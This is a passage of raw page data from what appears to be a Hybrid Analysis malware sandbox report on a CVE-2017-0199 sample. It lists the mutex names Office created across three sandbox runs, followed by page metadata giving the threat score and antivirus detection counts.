ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_WDW:{2A9C1161-32CB-45F6-B19A-FD4F83162D36}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_WDW:{E7E03C3A-AAC8-41EB-9AAB-0376BBA05B66}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_WDW:{B5F611DB-089A-4732-A533-ADB804E9E887}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-93B63EFF","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MsoCsi:GC:C:/Users/iooXNW8/AppData/Local/Microsoft/Office/14.0/OfficeFileCache/FSF-CTBL.FSF","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-772E0621","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-243F2D99","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-54415818","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_OMTX:{600990FB-AFED-4F63-B4E3-827376D08C89}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_WDW:{73B541E6-6E78-48CB-8E56-B4C1D3897D7A}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_WDW:{FABD892F-B1B1-4AB8-A958-AA6D2FA19539}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_WDW:{600990FB-AFED-4F63-B4E3-827376D08C89}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-CAFD8830","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MsoCsi:GC:C:/Users/iooXNW8/AppData/Local/Microsoft/Office/14.0/OfficeFileCache/LocalCacheFileEditManager/FSF-{0E1EEE64-E8C6-4E2A-9759-63CF07FD8988}.FSF","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-D50A95B4","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\Csi_CTTxnLock:{784F3BA2-434E-4980-AF19-23D41B0B9A71}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MsoShellExtRegAccess_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-D50A95B4","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-54415818","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Local\\CSI_OMTX:{B5F611DB-089A-4732-A533-ADB804E9E887}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Local\\CSI_OMTX:{600990FB-AFED-4F63-B4E3-827376D08C89}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-772E0621","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-CAFD8830","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-93B63EFF","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Local\\Csi_CTTxnLock:{784F3BA2-434E-4980-AF19-23D41B0B9A71}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Local\\CSI_WDW:{73B541E6-6E78-48CB-8E56-B4C1D3897D7A}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-36C8AB68","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Local\\CSI_WDW:{FABD892F-B1B1-4AB8-A958-AA6D2FA19539}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Global\\MsoCsi:GC:C:/Users/iooXNW8/AppData/Local/Microsoft/Office/14.0/OfficeFileCache/FSF-CTBL.FSF","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-AA5D9347","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"Local\\x64_10MU_ACB10_S-1-5-5-0-63623","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-243F2D99","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Local\\CSI_WDW:{2A9C1161-32CB-45F6-B19A-FD4F83162D36}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Global\\MsoCsi:GC:C:/Users/iooXNW8/AppData/Local/Microsoft/Office/14.0/OfficeFileCache/LocalCacheFileEditManager/FSF-{0E1EEE64-E8C6-4E2A-9759-63CF07FD8988}.FSF","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-63623","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Local\\CSI_WDW:{E7E03C3A-AAC8-41EB-9AAB-0376BBA05B66}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Local\\CSI_WDW:{600990FB-AFED-4F63-B4E3-827376D08C89}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Global\\MsoShellExtRegAccess_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"Local\\CSI_WDW:{B5F611DB-089A-4732-A533-ADB804E9E887}","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"Local\\CSI_WDW:{1ABD8089-66C4-4033-9D3D-9744A90FF99E}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Local\\CSI_WDW:{3924FB68-4CB3-48AA-AC30-358976726112}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-45FCF19D","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Global\\MsoCsi:GC:C:/Users/%OSUSER%/AppData/Local/Microsoft/Office/14.0/OfficeFileCache/FSF-CTBL.FSF","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Local\\CSI_WDW:{CE409396-9AA3-4E33-804D-3200CF74F4AA}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-51274C64","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Local\\CSI_WDW:{19BAC1E6-5149-4775-AB9A-7994C27EE63D}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Local\\CSI_WDW:{BF1BB7F0-3DE9-46BA-B9FA-A431592DE0C9}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-7FEF3BDD","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Local\\Csi_CTTxnLock:{36ABD750-D6FA-46AF-A7CC-D47159475CE9}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-7C175C25","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-A747DCC6","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-7D715B10","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Global\\MsoCsi:GC:C:/Users/%OSUSER%/AppData/Local/Microsoft/Office/14.0/OfficeFileCache/LocalCacheFileEditManager/FSF-{0E1EEE64-E8C6-4E2A-9759-63CF07FD8988}.FSF","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Local\\Csi_TableRuntimeBucketsLock:{1ABD8089-66C4-4033-9D3D-9744A90FF99E}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-B5AEC0CC","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-62058","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-45C4FB8A","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Local\\CSI_OMTX:{19BAC1E6-5149-4775-AB9A-7994C27EE63D}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Local\\CSI_WDW:{7C6F0E61-7637-481F-8393-C13D21D49A1F}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Local\\CSI_OMTX:{BF1BB7F0-3DE9-46BA-B9FA-A431592DE0C9}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-62058","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"MSOTaxonomyMutexName","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-62058","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-62058","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-45FCF19D","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-B5AEC0CC","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_OMTX:{19BAC1E6-5149-4775-AB9A-7994C27EE63D}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_WDW:{1ABD8089-66C4-4033-9D3D-9744A90FF99E}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_WDW:{7C6F0E61-7637-481F-8393-C13D21D49A1F}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_WDW:{19BAC1E6-5149-4775-AB9A-7994C27EE63D}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-7C175C25","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MsoCsi:GC:C:/Users/%OSUSER%/AppData/Local/Microsoft/Office/14.0/OfficeFileCache/FSF-CTBL.FSF","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-7D715B10","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-45C4FB8A","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-A747DCC6","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_OMTX:{BF1BB7F0-3DE9-46BA-B9FA-A431592DE0C9}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_WDW:{3924FB68-4CB3-48AA-AC30-358976726112}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_WDW:{CE409396-9AA3-4E33-804D-3200CF74F4AA}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_WDW:{BF1BB7F0-3DE9-46BA-B9FA-A431592DE0C9}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-51274C64","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MsoCsi:GC:C:/Users/%OSUSER%/AppData/Local/Microsoft/Office/14.0/OfficeFileCache/LocalCacheFileEditManager/FSF-{0E1EEE64-E8C6-4E2A-9759-63CF07FD8988}.FSF","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-7FEF3BDD","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\Csi_CTTxnLock:{36ABD750-D6FA-46AF-A7CC-D47159475CE9}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MSOTaxonomyMutexName","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\Csi_TableRuntimeBucketsLock:{1ABD8089-66C4-4033-9D3D-9744A90FF99E}","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACBPIDS_S-1-5-5-0-154008","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACB10_S-1-5-5-0-154008","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\BaseNamedObjects\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3892:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3892:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3892:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-5F4668A2","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\CSI_OMTX:{4A268787-3652-468F-AEC8-2D721F52678B}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\CSI_WDW:{0D48D5A8-BB64-4F58-B58D-15009522A762}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\CSI_WDW:{C2775F5E-073A-4ABA-BE1B-11EB926CC98F}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\CSI_WDW:{4A268787-3652-468F-AEC8-2D721F52678B}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-66ADC51A","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\BaseNamedObjects\\MsoCsi:GC:C:/Users/gTQ3C41/AppData/Local/Microsoft/Office/14.0/OfficeFileCache/FSF-CTBL.FSF","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-37C3E17D","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-6979D338","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-F73DD19B","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\CSI_OMTX:{A35A2CED-59DE-44B1-8C8D-1132F63C17C9}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\CSI_WDW:{4564CE42-1BF1-40C3-8D27-5EA39A0FE805}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\CSI_WDW:{16F73CE4-AA60-49E3-9F43-B27DF490A367}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\CSI_WDW:{A35A2CED-59DE-44B1-8C8D-1132F63C17C9}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-CAE5B611","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\BaseNamedObjects\\MsoCsi:GC:C:/Users/gTQ3C41/AppData/Local/Microsoft/Office/14.0/OfficeFileCache/LocalCacheFileEditManager/FSF-{0E1EEE64-E8C6-4E2A-9759-63CF07FD8988}.FSF","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-1C10ECAE","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Csi_CTTxnLock:{1FA12FD0-FCA4-47A3-B095-D5AABB6DDEE2}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\BaseNamedObjects\\MTX_MSO_Formal1_S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\BaseNamedObjects\\MTX_MSO_AdHoc1_S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\BaseNamedObjects\\MsoShellExtRegAccess_S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"CSI_OMTX:{4A268787-3652-468F-AEC8-2D721F52678B}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-37C3E17D","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-F73DD19B","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"CSI_WDW:{A35A2CED-59DE-44B1-8C8D-1132F63C17C9}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-5F4668A2","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"CSI_WDW:{16F73CE4-AA60-49E3-9F43-B27DF490A367}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"Local\\SM0:3892:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-1C10ECAE","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"CSI_WDW:{4A268787-3652-468F-AEC8-2D721F52678B}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-6979D338","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"x64_10MU_ACB10_S-1-5-5-0-154008","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"CSI_WDW:{4564CE42-1BF1-40C3-8D27-5EA39A0FE805}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-CAE5B611","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"CSI_WDW:{0D48D5A8-BB64-4F58-B58D-15009522A762}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"SM0:3892:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"CSI_OMTX:{A35A2CED-59DE-44B1-8C8D-1132F63C17C9}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"Csi_CTTxnLock:{1FA12FD0-FCA4-47A3-B095-D5AABB6DDEE2}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-66ADC51A","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"CSI_WDW:{C2775F5E-073A-4ABA-BE1B-11EB926CC98F}","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"x64_10MU_ACBPIDS_S-1-5-5-0-154008","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]}]}},"report_ids":{"sandbox_job_ids":["5ed22deca145e316b10f207d","64063ac33ff0d7c5570754e2","5f4545b8780eef7ba25e7a85"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious CVE-2017-0199 Sample 7933716892e0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 7933716892e0…. Malware family: CVE-2017-0199. Threat score 100/100. 16/28 AV engines flagged this file. 8 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971"}],["$","meta","4",{"property":"og:title","content":"Malicious CVE-2017-0199 Sample 7933716892e0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 7933716892e0…. Malware family: CVE-2017-0199. Threat score 100/100. 16/28 AV engines flagged this file. 8 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious CVE-2017-0199 Sample 7933716892e0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 7933716892e0…. Malware family: CVE-2017-0199. Threat score 100/100. 16/28 AV engines flagged this file. 8 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2e","11",{}]]